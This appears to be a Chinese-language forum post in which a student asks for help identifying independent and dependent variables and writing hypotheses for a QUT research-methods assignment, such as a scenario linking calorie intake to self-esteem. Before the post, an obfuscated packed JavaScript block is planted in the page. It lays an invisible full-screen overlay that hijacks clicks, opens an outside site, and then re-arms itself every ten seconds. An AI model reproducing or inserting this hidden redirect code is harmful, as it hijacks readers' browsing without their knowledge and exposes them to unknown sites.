<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Summer时候报了QUT 的 PYB 110 Physical Methods Research，昨天看了看assignment，有点糊涂，他是给了8个情境，回答问题 Identify the key IV and DV in each scenario (1 mark per scenario)
2.Construct a hypothesis of the relationship between these variables for each of your scenarios. (1 mark per scenario)
比 然后比方说这个情境Scenario 1: Suppose that you want to conduct a studyto see if the number of calories a person consumes in a day is associated withthe person’s level of self-esteem. The research is based on a theory thatconsuming more calories is a cause of lower self-esteem. 谁能帮我写个example啊，我好稍微明白下思路。。大恩不言谢。。
a. 然后
b.
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